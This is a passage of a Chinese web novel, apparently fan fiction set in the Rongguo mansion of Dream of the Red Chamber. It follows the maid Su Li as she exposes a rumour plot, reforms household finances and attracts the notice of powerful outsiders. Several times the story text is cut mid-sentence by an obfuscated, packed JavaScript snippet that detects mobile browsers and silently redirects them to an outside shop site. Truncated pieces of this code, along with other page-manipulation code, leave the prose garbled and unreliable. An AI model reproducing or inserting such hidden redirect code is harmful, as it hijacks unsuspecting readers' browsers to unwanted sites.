“嗨，前儿在‘博古斋’听他们伙计闲聊说起的，他们东家好像跟荣国府一个姓周的管事是亲家，消息还能有假？” 博古斋！ 苏璃眼中寒光一闪。果然与周瑞家的有关！ 她不动声色，离开茶摊，又绕到博古斋附近观察。只见那铺子门面不大，却收拾得齐整，进出的客人看着也都有些身份。 她注意到，一个穿着体面、掌柜模样的人，送一位客人出门时，眼神鬼祟地四下张望，低声对那客人说了几句什么，客人脸上露出心领神会的笑容。 苏璃记下那客人的形貌，又在附近打听了一番，得知此人常与几个专在茶楼酒肆编造传播闲话的“篾片”相公来往。 线索渐渐清晰。流言是从博古斋这个点散出去的，经由那些专事传播的“篾片”，在仆役常去的市井之地发酵，再悄然传回府内。 苏璃将自己查到的线索与平儿那边汇合。平儿也查出，府内最初听到流言的几个门房和小厮，前几日都或多或少与周瑞家的或她手下的人有过接触，或是得了些小好处，或是被言语暗示。 人证、物证、动机、传播路径，几乎形成了一条完整的链条。 证据呈到王熙凤面前时，她正对着窗外的一丛竹子出神，脸上没有任何表情。但熟悉她的人都知道，这是她怒极的表现。 “好，很好。”王熙凤缓缓转过身，嘴角甚至噙着一丝笑，那笑容却让人心底发寒，“吃里扒外，散布流言，污蔑主子……周瑞家的，她真是好大的狗胆！” 她顿了顿，目光如电射向苏璃：“你说，此事该如何处置？” 苏璃知道，这是王熙凤在问她的态度，也是在看她能否狠得下心。此事因她而起，也需她来做个了断。 她抬起眼，目光清冽，声音平稳却带着斩钉截铁的力量：“流言蜚语，伤人无形，更损奶奶清誉。此事证据确凿，周妈妈难辞其咎。若不严惩，日后人人效仿，府规何在？奶奶威严何存？依奴婢之见，当立即拿人，当众审问，依家法处置，以儆效尤！” 她没有丝毫犹豫，也没有半分妇人之仁。对敌人仁慈，就是对自己残忍。周瑞家的既然敢用如此阴毒的手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王熙凤目光缓缓扫过众人，尤其在几个平日里与周瑞家的走得近的管事脸上停留片刻，看得她们腿脚发软。 “今日之事，你们都看到了。”王熙凤的声音响彻庭院，“在我手底下当差，忠心勤勉，我自然抬举。若有那等心怀鬼胎、吃里扒外、搬弄是非的，周瑞家的便是下场！” 她顿了顿，语气稍缓，却更显威严：“苏璃是我亲口提拔、委以重任的人。她的行事，便是我的意思。往后，若再让我听到半句污蔑主子、质疑规矩的闲言碎语，不管是谁，一律严惩不贷！” 说罢，她起身，拂袖而去。 苏璃跟着王熙凤离开，能感受到身后那无数道目光，惊惧、敬畏、复杂难言。她知道，经此一事，“苏璃”这个名字，将真正与王熙凤的威严绑定在一起，再无人敢轻易挑衅。 22. 菩萨心肠？ 杖责的沉闷响声和周瑞家的凄厉哀嚎，仿佛还在荣国府的庭院里回荡。 空气里弥漫着一种紧绷的寂静，下人们走路都踮着脚尖，说话压低了嗓子，眼神里是未曾消散的惊惧。 王熙凤的雷霆手段，像一场凛冽的秋霜，瞬间冻杀了所有蠢蠢欲动的苗头。再无人敢公开质疑新规，也无人敢再对苏璃有半分不敬。苏璃所到之处，遇到的皆是垂首敛目，恭称一声“璃姑娘”，那声音里带着实实在在的畏惧。 权柄空前稳固，但苏璃心底却没有半分轻松。她能感觉到这敬畏之下，那压抑着的、更深的东西——是兔死狐悲的寒意，是敢怒不敢言的怨愤，是无数双在暗处重新审视、评估、甚至带着更隐蔽敌意的眼睛。周瑞家的倒下，空出的不止是一个管事的职位，更是一个巨大的权力真空和利益重新分配的漩涡。而她，正处在这个漩涡的中心。 这日，苏璃去库房核对一批新收上来的绸缎。刚走到廊下，就听见两个正在擦拭栏杆的小丫鬟背对着她，低声啜泣着说话。 “……我娘在庄子上病得厉害，就指着我这点月钱抓药，这个月偏偏被罚了半个月……这可怎么好……” “谁让你哥哥不当心，打碎了二爷书房那个不值钱的笔洗……吴大娘也是，抓着一点错处就往死里罚……” “快别说了，小心被人听见……如今这府里，是越发难熬了……” 声音细弱，充满无助。苏璃脚步顿了顿，没有惊动她们，默默走开了。她知道，吴新登家的吴大娘是接了部分周瑞家空出来的差事，正急于立威。底下人稍有差池，便重罚以显权威。这种层层加压的恐惧，正在悄然蔓延。 午后，她去给王熙凤回话，路过王夫人院外的小花园，远远看见王夫人扶着玉钏儿的手在散步，邢夫人竟也在旁，两人似乎在说着什么。邢夫人脸上带着一种惯有的、略显刻薄的笑容，正低声对王夫人说着话，王夫人捻着佛珠，眉头微蹙，偶尔点头，神情有些心不在焉。 苏璃立刻避到假山后。隐约有只言片语飘来。 “……凤丫头如今是越发能干了，手段也厉害……” “终究是府里的下人，管教太过，失了宽厚，恐非福气……” “……府里老人，寒了心……” 声音断续，但意思却明白。苏璃心中一沉。王夫人果然对王熙凤处理周瑞家的方式有所不满，而邢夫人显然在趁机煽风点火。王夫人虽不管家，但她身为嫡母，她的态度至关重要。若她认为王熙凤过于“酷烈”，失了“宽厚仁德”，那对王熙凤的管家权威将是一种无形的削弱。 回到王熙凤处，苏璃斟酌着将所见所闻，隐去那两个小丫鬟的细节，只将王夫人与邢夫人交谈的异状委婉提了提。 王熙凤正对着一本账册出神，闻言，冷笑一声，将账册合上：“菩萨心肠？她们倒是会做好人！我若不狠，这府里的银子早被那些‘老人’搬空了！底下的人寒心？周瑞家的克扣他们月钱、盘剥他们的时候，怎么不见她们出来说句‘菩萨心肠’？” 她语气激愤，凤眸中闪着凌厉的光，但苏璃能看出，那凌厉之下，藏着一丝不易察觉的疲惫和……无奈。王熙凤再强，也需要在主母王夫人那里有立足的“理”。光是能干、能挣钱、能镇住下人还不够，她还需要一个“贤德宽厚”的名声。 苏璃沉默片刻，轻声道：“奶奶的辛苦，奴婢们都看在眼里。只是……堵不如疏。如今规矩已立，威严已显，或许……也该有些怀柔之举，让底下人看到，跟着奶奶，不仅有严法，也有恩恤。如此，那些闲言碎语，或可不攻自破。” 王熙凤挑眉看向她：“怀柔？如何怀柔？” 苏璃早有思量，缓缓道：“如今府中月例发放已上正轨，账目也清晰许多。奴婢粗略算过，因堵住了些漏洞，每月其实能省下些许银两。这些银子不多，但若用好了，却能收拢人心。比如，可在府中设个小药局，备些常用的丸散膏丹，丫鬟婆子们有个头疼脑热，不必自己花钱外头抓药，可凭对牌领用。再如，凡府中仆役，家有红白喜事，或遇天灾病祸，经核查属实，可由公中酌情给予少许抚恤帮衬。钱不必多，是个意思，让人知道府里并非全然无情。” 她顿了顿，又道：“还有，各房各院的份例用度，如今卡得严，有些地方或许确实不便。奴婢核查时发现，如赵姨娘处，环哥儿笔墨纸张耗费确实略多，而三姑娘处，针线绸缎用料却常有富余。若能稍作内部调剂，或准许以富余换不足，既免了浪费，也全了体面，堵了抱怨的嘴。” 这一番话，既有普惠的“小恩小惠”：药局、抚恤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908595|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又有针对性的“灵活调剂”，既维护了新规的严肃性，又体现了管理的弹性和人情味，成本不高，却能有效缓解底层的怨气，也能在主子层面，尤其是赵姨娘、探春等处落个好。 王熙凤听得眼中异彩连连。她没想到，苏璃不仅善于“破”，更精于“立”，不仅会算账，更懂人心。这“怀柔”之策，看似让步，实则是以退为进，巩固权力根基的高明手段。 “好一个‘堵不如疏’！”王熙凤脸上的郁气散了不少，露出赞许的笑容，“就按你说的办。药局、抚恤的章程，你来拟。各房份例调剂的事，你和平儿商量着办，拿个稳妥法子出来。” “是。”苏璃应下。 药局和抚恤的章程很快拟定，所需银两从公中“节省”项下列支，数额不大，却意义非凡。消息传开，下人们先是不敢置信，随即便是真心实意的感激。那些因小错被罚、家人有病无钱抓药的仆役，更是对苏璃和王熙凤感恩戴德。府中紧绷的气氛，悄然松动了一丝。 各房份例的灵活调剂，苏璃处理得极为谨慎。她先和平儿仔细核对了各房近半年的实际消耗，找出确实存在“不足”与“富余”的环节，然后才私下分别与相关主子或得力大丫鬟沟通，以“避免浪费、物尽其用”为由，提出内部调剂的建议，并保证记录清晰，绝无克扣。 探春通情达理，一听便明白其中关窍，大方允诺。赵姨娘虽仍嘀嘀咕咕，但见确实能给贾环多换些纸笔，又听说这是“璃姑娘体恤”，撇撇嘴，到底没再闹腾。 几件小事办下来，苏璃在府中的形象，悄然发生着变化。她不再仅仅是那个令人生畏的、“二奶奶手里一把刀”的璃姑娘，在一些下人眼中，她也成了能体察下情、愿意行方便的“善心人”。连王夫人偶尔从玉钏儿口中听到这些事，捻着佛珠的手也顿了顿，淡淡道：“凤丫头身边的人，倒不全然是只知严苛的。” 然而，苏璃深知，这点“菩萨心肠”的表象，如同在冰封的湖面上投下几颗小石子，涟漪终究有限。真正深沉的寒冰，并未融化。 这日傍晚，她回自己厢房的路上，隐约看见一个眼熟的身影匆匆消失在月亮门后，看背影，像是来旺家的。而那个方向……似乎是通往东院，邢夫人的住处。 苏璃脚步未停，心中却是一凛。 23. 开源节流策 暮春的风还带着寒意，荣国府账房里的算盘声却比往日更显急促。苏璃面前摊着厚厚几本账册，指尖在一行行泛黄的数字间划过，眉心越蹙越紧。 自处理完周瑞家的一事后，府中风波暂平，但账面上的危机却日渐显露。 各庄子夏粮未熟，青黄不接，报上来的多是欠收或恳请减免的呈文。外面几处铺面，除了王熙凤陪嫁的一两间尚能维持，其他多是寅吃卯粮，掌柜们变着法子要支取银子周转。而府中的开支，却像无底洞般只增不减，各房主子的日常用度、年节打点、人情往来、仆役月钱……桩桩件件，都是真金白银。 王熙凤虽未明言，但苏璃从她日渐频繁的蹙眉和与贾琏之间越来越不愉快的对话中，能清晰感受到那股沉重的压力。 这个看似鲜花着锦的国公府，内里的财务已到了悬崖边缘。 这日，王熙凤将苏璃叫到跟前，挥退旁人，指着桌上一叠各处催款的信函，声音里带着少见的疲惫：“你也看到了，如今是拆了东墙补西墙，都快没墙可拆了。你素日有主意，可有法子解这燃眉之急？” 这不是寻常问话，而是将她真正视作了谋士。 苏璃深吸一口气，知道展示真正价值的时候到了。她敛衽行礼，声音清晰而沉稳：“奶奶，府中用度浩繁，单靠节流，终究是杯水车薪，且易生怨怼。依奴婢浅见，需‘开源’与‘节流’并举，方是长远之计。” “哦？”王熙凤凤眸微亮，“细细说来。” 苏璃早有准备，不疾不徐道：“先说‘节流’。其一，可核查各房份例，并非削减，而是细化。例如，笔墨纸砚，按主子、公子、姑娘等级及实际课业用量核定，超支部分，若需添补，可从其月例或私房中出，公中不再无限支应。其二，各房丫头婆子人数，亦可重新核定，冗员或可酌情放出一些，或转做其他活计，减少月钱支出。其三，府中日常采买，奴婢观之，多有浪费。可试行‘竞价采买’，将常需物品列出，定期招几家信得过的商号报价，择价廉物美者供货，既省银钱，也防贪墨。” 这些都是现代管理中常见的手段，在此刻说出，却显得格外清晰务实。 王熙凤听得连连点头，这些法子虽会触动一些既得利益，但确实能切中要害地省下银子。“那‘开源’呢？”她更关心这个。 苏璃顿了顿，声音压低了些：“开源之道，需更为谨慎。奴婢斗胆建言，或可从三处着手。” “第一，府中田庄，产出多是粮食，价贱利薄。如今京中富贵人家，多喜南方的时鲜果品、精细米粮，以及海外传来的稀罕物事。咱们的庄子，能否辟出部分田地，试种些京畿少见的花卉、果蔬？或是与江南有门路的商号合作，将南边的时鲜物产运至京中发卖？即便不成，所产也可供府中使用，节省采买。” “第二，”她声音更轻，“奶奶手中几处陪嫁铺面，地段尚可。如今多是做些绸缎、杂货，利润寻常。奴婢听闻，京中近来兴起一种‘书寓’，并非秦楼楚馆，而是清雅茶舍，内有说书先生讲些新话本，兼卖些笔墨雅玩，吸引不少文人士子、闺阁女眷消遣。咱们或可择一处铺面，改做此等营生，请可靠之人打理，所费不多，却是个长久进项，也……不伤体面。” “第三，”她抬起眼，目光清澈，“府中库房，历年积压了许多用不上、却又弃之可惜的物件，如旧年尺头、过时摆设、老旧家具等，堆着也是白占地方，还须人力打理。不如定期清理，将那些实在用不着的，悄悄发卖出去，折现银子。此事需做得隐秘，分批出手，选可靠的中人，免得落人口实。” 一番话，条分缕析，既有堵漏之策，又有生财之道，更难得的是顾及了贾府这样的勋贵门第最看重的“体面”，将可能的风险都考虑了进去。 王熙凤听得怔住了。她掌管荣国府以来，殚精竭虑，无非是催租子、放利钱、克扣用度这些旧法子，何曾听过这般系统又新颖的谋划？这已不仅仅是丫鬟的见识，便是寻常男子，也未必有这般眼界和胆魄！ 她看着眼前这个眉眼沉静、身量尚未完全长开的少女，心中震撼无以复加。自己当初从杂役院提拔她，真是捡到了旷世奇珍！ “好！好！好！”王熙凤连说三个好字，脸上阴霾尽扫，露出灼灼光华，“就依你所言！节流诸事，你与平儿拟出细则，我来推行。开源三策……”她沉吟片刻，“田庄试种和铺面改制，需从长计议，选可靠人手。库房清货一事，倒可先行，由你暗中操办，务必稳妥！” “是，奶奶。”苏璃恭声应下，心中也是一松。这些策略能否奏效尚需时间，但至少，她让王熙凤看到了希望，也让自己的地位更加不可动摇。 就在苏璃于荣国府内悄然推行她的“开源节流策”时，一双来自遥远庙堂的眼睛，也无意间瞥见了这深宅内院泛起的一丝不同寻常的涟漪。 京城，北静王府别院，水榭深处。 水澈一身玄色劲装，外罩石青色暗纹披风，正临窗翻阅着几份刚从各处递来的密报。作为今上暗中栽培、监察百官及勋贵动向的暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908596|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探，他的目光素来落在那些军国大事、党派倾轧之上。荣国府这等已显颓势的老牌勋贵，若非涉及重大关节，通常不会引起他过多注意。 然而，手下呈上的一份关于近期京中银钱流动的例行简报中，一条不起眼的信息引起了他的注意。 简报提到，近来市面有几批成色不错、来源却颇隐晦的旧物出手，包括些半旧的官造瓷器、织锦缎匹、乃至一些做工精巧但式样略老的家具。 东西零散，但汇总起来数目不小，且出货之人行事谨慎，通过几家不同的、背景干净的中人分批处理，所得银钱似乎流向了……荣国府几个关联的隐秘账户？ 荣国府在变卖祖产？这并不稀奇，许多勋贵之家都是这般渐渐败落的。但令水澈微微挑眉的是，简报附带的零星信息显示，几乎与此同时，荣国府内似乎在悄然进行某种整顿：月例发放变得异常清晰准时，仆役人数略有精简，日常采买也有了新的规矩。甚至，荣国府在城南的一处小田庄，据说正在尝试引种一些江南的菜蔬品种。 变卖家当以充府库是败家之举，但同步进行的内部整顿和尝试新的营生，却显出一种反常的、力图扭转颓势的“经营”迹象。这与绝大多数坐吃山空、直至轰然倒塌的勋贵之家，路数截然不同。 更让水澈留神的是，简报末尾提及，荣国府这些变化，似乎与管家奶奶王熙凤身边一个新近得用的丫鬟有关。那丫鬟名唤苏璃，原是最低等的家生奴，却因擅长筹算理账被破格提拔，近来颇受倚重。 一个丫鬟？能有这般见识和手段？ 水澈合上简报，食指无意识地在光洁的紫檀木桌面上轻轻敲击。窗外暮色渐浓，映照着他冷峻的侧脸。 他见过太多世家大族的腐朽与挣扎，早已心冷如铁。但荣国府这不同寻常的“自救”迹象，以及背后那个模糊的丫鬟身影，却像投入古井的一颗小石子，在他心中漾开一丝极淡的、近乎探究的涟漪。 或许，下次监察京城各府动向时，可以稍微分一点心，看看这荣国府，到底在唱哪一出。还有那个叫苏璃的丫鬟……是何方神圣？ 他淡淡吩咐身后如影子般侍立的随从：“留意荣国府，尤其是那个叫苏璃的丫鬟。不必刻意，日常监察时带上即可。” “是。”随从低声应命，悄无声息地退下。 水澈望向窗外沉沉的夜色，荣国府的灯火在远处连成一片模糊的光晕。一场始于深宅内院、关乎生存的细微变革，第一次，落入了庙堂之上、冷眼旁观者的视线之内。 24. 初见成效 库房的灰尘在初夏的光柱里飞舞，带着陈年樟木和织物的气味。苏璃用细棉布掩住口鼻，指挥着几个绝对可靠的婆子，将一堆堆蒙尘的旧物分门别类。 “这套青釉缠枝莲纹的碗碟，胎质细密，釉色均匀，虽非官窑极品，却也是上好民窑精品，切记小心包好，记作‘丙字三号’。” “这些半旧的杭绸、湖绉，花色过时了，但料子本身没坏，按质地、颜色分开，登记在‘布帛册’。” “那几件黑漆螺钿的桌椅，边角有磨损，但工艺尚在，单独立账。” 她的声音不高，条理清晰。婆子们都是平儿精挑细选的，嘴严手稳，默默依言行事。 不过月余的光景，原本塞得满满当当的几间偏库，竟清空了大半，整理出的可用之物登记造册后重新归置，腾出了不少空间。 而那些确定要出手的“闲置”，则被分作数批，通过王熙凤早年暗中经营、绝无外人知晓的几条隐秘渠道，悄然流入了京中几个不同的古董店、旧货行，甚至南城的骡马市。 换回来的，是实打实的银钱。一笔笔数目不算巨大、来源分散的银子，如同涓涓细流，通过同样曲折的路径，汇入了王熙凤的私库，以及填补了几个迫在眉睫的公中窟窿。 这日，苏璃将新一批货出手的账目和银票呈给王熙凤。王熙凤看着那叠轻飘飘却分量十足的票据，又看看账册上清晰列明的物品去向和折价，连日来因各处催款而紧绷的脸上，终于露出了久违的、带着真切喜意的笑容。 “好！真是好！”她拉着苏璃的手，难得地夸赞得这般直白，“想不到那些占地方的破烂，竟真能变出这许多银子来！璃丫头，你真是我的福星！” 苏璃谦逊道：“都是奶奶运筹帷幄，奴婢不过是跑跑腿。也是如今市面还算平稳，这些东西才能脱手。” “你不必过谦。”王熙凤摆摆手，凤眸中精光闪烁，“这清理库房只是第一步。你之前说的田庄试种和铺面改营生的事，我也思量了。城南那个小庄子，管事的是我陪房，还算老实，就让他先试着划出十亩地，照你说的，寻些南边的菜籽花种试试。铺面……我手里有间地段尚可的，原先做绸缎赔了钱，一直空着，改做你说的‘书寓’倒也可行。只是这经营之人……” “奶奶，此事急不得。”苏璃忙道，“需寻那等既懂文墨雅趣，又通庶务经营，还得绝对可靠的。不如先放出风声，慢慢物色。眼下清理库房所得，已可暂解燃眉之急。” 王熙凤点点头：“你说得是，饭要一口口吃。”她看着苏璃，越看越是满意，“你如今管着月例，理着旧账，还操持这库房的事，怕是忙不过来。我让丰儿拨两个小丫头专门给你使唤，跑腿传话，你也轻省些。” 这是进一步的恩宠和放权。苏璃谢过，心中却无多少欢喜，只有更深的警醒。木秀于林，风必摧之。自己如今在王熙凤面前越是得用，在旁人眼中就越是碍眼。 开源初见成效，节流也在稳步推行。月例新规已深入人心，虽然仍有抱怨，但按时足额拿到银子，对绝大多数下人而言是实打实的好处。 各房份例的灵活调剂，也在平儿和苏璃的巧妙操作下，慢慢推行，堵住了不少浪费的漏洞，赵姨娘等人处虽然仍爱占小便宜，但见确实能多得些实惠，抱怨也少了。 府中风气，似乎真的在朝着更有序、也更……“计较”的方向转变。这种转变细微而持续，落在不同人眼中，感受截然不同。 贾母向来都是做“菩萨”的角色，一向乐得清闲，只要不短了她的用度、坏了府中大体面，她并不理会具体如何操持。 王夫人见府中用度似乎有所节制，仆役也规矩了些，对王熙凤的“能干”多了几分认可，先前因周瑞家的事产生的那点芥蒂，也淡了不少。 然而，在另一些人看来，这却是难以忍受的桎梏。 贾琏这日从外头吃酒回来，只见得他醉醺醺地又要支取一笔银子，说是应酬要紧人物。以往这等事，王熙凤虽然不悦，但为了他的面子以及所谓的体面，也为了外面的人情关系，多半也会磨着牙给了。可如今，账目卡在苏璃那里，支取需凭核准的条子。 苏璃看着贾琏小厮递来的、写得潦草含糊的支取单，上面只写了“急用”二字，数目却不小。她平静地回道：“二爷要支取银子，自无不可。只是按新规，需写明具体用途、经手人、何处应酬，奴婢登记后，方可请奶奶用印。” 那小厮回去一学舌，贾琏借着酒意就火了，冲到王熙凤屋里嚷嚷：“如今我花自己家里的银子，倒要看你丫头的脸色了？什么狗屁新规！这府里到底是谁当家？” 王熙凤如今手头因苏璃的谋划略宽松些，底气也更充足了些，闻言便冷笑：“你若是正经用在公事、用在结交有用的人身上，我何曾拦过你？可你次次只说‘急用’、‘应酬’，银子花出去连个响声都听不见！如今府里艰难，再不精打细算，等着喝西北风吗？璃丫头是按我的规矩办事，你有火冲我来！” 夫妻俩大吵一架，不欢而散。贾琏摔门而去，心中对那“多事”的苏璃，更是厌憎到了极点。 更大的隐患，却来自苏璃未曾预料的方向。 那批被她小心筛选后、认为并无特殊标记的青釉瓷器，几经转手，最终被一位喜好风雅的富商购得，摆在了自家新修的别院里赏玩。恰逢这位富商为巴结宫中一位管着部分采买事宜的刘太监，请其过府饮宴。 刘太监在宫里沉浮多年，练就了一双毒眼。席间，他目光扫过那套青釉碗碟，初时只觉得釉色温润，甚是雅致。多看了几眼，心中却微微一动。 这缠枝莲的画法，这釉水发色的感觉……怎么依稀有点早年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908597|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内府瓷器作流出来的那批“次品”的味道？那批瓷器因画工略有瑕疵未能进宫，后来赏给了几位有功的老臣，其中似乎就有贾家？ 他面上不动声色，笑着夸赞瓷器精美，随口问起来历。富商哪知底细，只说是托人从旧货市上淘来的好东西。 刘太监哈哈一笑，不再多问，心中却记下了。回宫后，他寻了个由头，调阅了早年一些不太紧要的赏赐记录。果然，在若干年前的一笔赏赐中，看到了“赏荣国公贾代善青釉缠枝莲纹瓷器两套”的字样。 宫中赏赐之物，即便有瑕疵，也是御赐的体面。勋贵之家即便再艰难，通常也是好好收着，绝不会轻易拿出去发卖，除非……已到了山穷水尽、顾不得体面的地步。或者，是底下人胆大包天，偷偷处理？ 刘太监捻着下巴，眼中闪过一丝玩味。荣国府……看来是真的不行了。这事说大不大，说小不小，关键看有没有人想拿它做文章。 他沉吟片刻，将这条无关紧要的信息，随手记在了一份日常呈报的闲篇里。这份呈报，会按例送到该送的地方。至于会不会被注意到，那就不是他能关心的事了。 几乎与此同时，北静王府别院。 水澈看着手中新呈上的、关于荣国府更详细的监察摘要。除了之前已知的整顿内务、变卖旧物，手下还报上了两条新信息：一是荣国府似乎在尝试于田庄引种南方作物；二是管家奶奶王熙凤身边那个叫苏璃的丫鬟，并非普通的家生奴，其父母早亡，来历有些模糊，且她在被提拔前，曾在杂役院病重几乎死去，痊愈后便性情能力大变。 “病重……性情大变？”水澈指尖划过那行小字，目光微凝。这种桥段，在那些志怪传奇里常见，但在现实中，尤其是一个深宅丫鬟身上，却透着蹊跷。要么是此前深藏不露，要么……就真的有些说不清道不明的古怪了。 更让他注意的是，这丫鬟提出的种种举措，其思路之清晰，眼光之长远，完全超越了一个闺阁婢女应有的见识。即便是王熙凤，也未必能有这般系统的理财谋略。 这个苏璃……究竟是什么人？ 他合上摘要，望向窗外。初夏的夜空星河低垂，荣国府的方向一片宁静的黑暗。但那黑暗之下，似乎正有什么东西，在悄然孕育，搅动着早已沉寂的潭水。 “继续留意。”他淡淡吩咐，“尤其是那个苏璃。有机会的话……不妨看看，她到底是真聪明，还是背后另有高人。” “是。”暗处的身影低声领命。 荣国府内，苏璃对即将到来的、来自不同方向的注视毫无所觉。 她正对着新送来的田庄试种计划皱眉，计算着可能的投入与风险。她只知道，自己必须让这艘渐渐下沉的大船慢一点，再慢一点沉下去。却不知，自己这番努力掀起的细微浪花，已映入了某些高高在上的瞳孔之中。 25. 贾母问话 夏日的荣庆堂，四面窗扉大开，穿堂风带着院子里栀子花的甜香，却也吹不散空气里那点若有若无的沉闷。 贾母歪在临窗的罗汉榻上，身后鸳鸯不轻不重地打着扇。榻边小几上，一盏雨过天青的瓷碗里，冰湃的酸梅汤只动了几口。 王夫人、邢夫人、王熙凤并尤氏都在下首陪着。王夫人捻着佛珠，眼观鼻鼻观心；邢夫人嘴角挂着一丝惯有的、略显刻薄的笑；尤氏则微微垂首，似在思量着什么。王熙凤脸上带着笑，那笑意却未达眼底，指尖无意识地捻着帕子。 厅里安静得有些异样，只有冰块在碗中融化的细微声响。 贾母半阖着眼，仿佛在养神，半晌，才慢悠悠地开口，声音带着老年人特有的缓沉：“凤丫头。” “老祖宗，我在呢。”王熙凤立刻笑着应声，身子微微前倾。 “我近来听说，”贾母依旧没睁眼，语气平淡得像在聊家常，“府里如今发月钱，都要按手印了？连琏儿支取些银子应酬，也得写个清清楚楚的章程？” 这话问得轻飘飘，落在王熙凤耳中却不啻惊雷。她心中一凛，知道终究是有人把话递到老太太跟前了。她飞快地瞥了邢夫人一眼，后者正端起茶盏，掩饰嘴角那抹得色。 “回老祖宗的话，”王熙凤稳住心神，笑容不变，“是有这么回事。前些日子盘账，发现府里用度有些杂乱，各处支取没个定数，底下人也时有抱怨。孙媳想着，无规矩不成方圆，便立了些新章程，也是为着长远计，把账目理清楚些，免得生出不必要的误会，也好让银子花在明处。” “哦？理清楚些？”贾母缓缓睁开眼，那双历经世事的老眼依旧清明，目光在王熙凤脸上顿了顿，“理得琏儿在外头应酬都要看人脸色了？我恍惚听着，如今外头都有些闲话，说咱们荣国府是越发小气了，连爷们儿在外头的体面都顾不上了。” 这话就有些重了。王熙凤脸色微变，忙道：“老祖宗明鉴！孙媳绝无此意！只是……只是近来各处庄子收成不如往年，外面铺子也多艰难，府里进项少，开支却大。孙媳也是没法子，才想着能省则省，该花的花，不该花的……总要有个掂量。琏二爷那边，若真是正经应酬，孙媳何曾拦过？只是怕有些银子花得不明白，纵容了底下人，反倒不好。” 贾母不置可否，目光又转向王熙凤身后的平儿：“平儿，你是个妥当孩子，你说说，如今这新规矩，底下人可有怨言？” 平儿恭声答道：“回老太太的话，新规初行，是有些不惯。但时日久了，月钱按时足额发放，该有的用度也不曾短了，如今抱怨的倒比先前少了。只是……各房主子若有些临时额外的用项，手续上确实比以往繁琐些。” 这话答得滴水不漏，既说明了新规的好处，也不讳言其不便，显得公允。 贾母听了，没说什么，又阖上眼。厅里再次陷入沉寂，那沉默却压得人喘不过气。 过了好一会儿，贾母才又开口，这回语气缓和了些：“凤丫头持家不易，我省得。咱们这样的人家，体面要紧，但根基更要紧。能省俭些，自然是好的。只是……”她顿了顿，“规矩是死的，人是活的。家里爷们在外头行走，脸面就是家里的脸面，该周全的，还得周全。至于底下人，恩威并施才是长久之道，别寒了人心。” “是，孙媳谨记老祖宗教诲。”王熙凤连忙应道，后背却已沁出一层薄汗。老太太这话，看似肯定了她的省俭，实则是在提醒她，不能因小失大，伤了贾琏的体面和府中的人心。 “我听说，”贾母话锋一转，仿佛随口提起，“你跟前如今有个叫苏璃的丫头，很是用得？这些新规矩，大半是她帮着张罗的？” 终于问到正主了。王熙凤心头一跳，面上更加恭谨：“回老祖宗，是有个叫苏璃的丫头，原在杂役院，孙媳见她算学上有些天赋，人也稳重，便提拔到身边帮着料理些账目。新规矩是孙媳定的，她不过是按令行事，跑跑腿罢了。” “哦？算学上有天赋？”贾母似乎来了点兴趣，“一个丫头，能懂这些，倒是不易。多大年纪了？原是哪里人？” “今年该有十四了。是家生的奴才，父母早亡，也没什么亲眷了。”王熙凤小心答道。 “十四……”贾母沉吟着，“还是个孩子呢。能在你跟前当这样的差事，想必是个伶俐的。只是，年纪轻，经历浅，骤然掌了这些事，底下人未必心服，也容易招是非。你多用着她，也多看着些，别让她年轻不知轻重，惹出什么麻烦来，反倒带累了你。” 这话说得语重心长，既是关心，也是敲打。提醒王熙凤要控制好这把“刀”，莫要被反噬。 “老祖宗放心，孙媳晓得分寸。”王熙凤连忙保证。 贾母似乎有些乏了，挥了挥手：“行了，我也就白问一句。你们该忙什么忙什么去吧，别耽误了正事。” 众人如蒙大赦，连忙起身告退。 出了荣庆堂，王熙凤脸上的笑容瞬间消失，面沉如水。邢夫人跟在她身后，不阴不阳地说了一句：“凤丫头，老太太的话你可听真了？持家是好事，可也别太……苛细了，失了咱们这样人家的气度。”说罢，扶着婆子，径自走了。 王夫人看了王熙凤一眼，想说什么，终究只是叹了口气，也走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 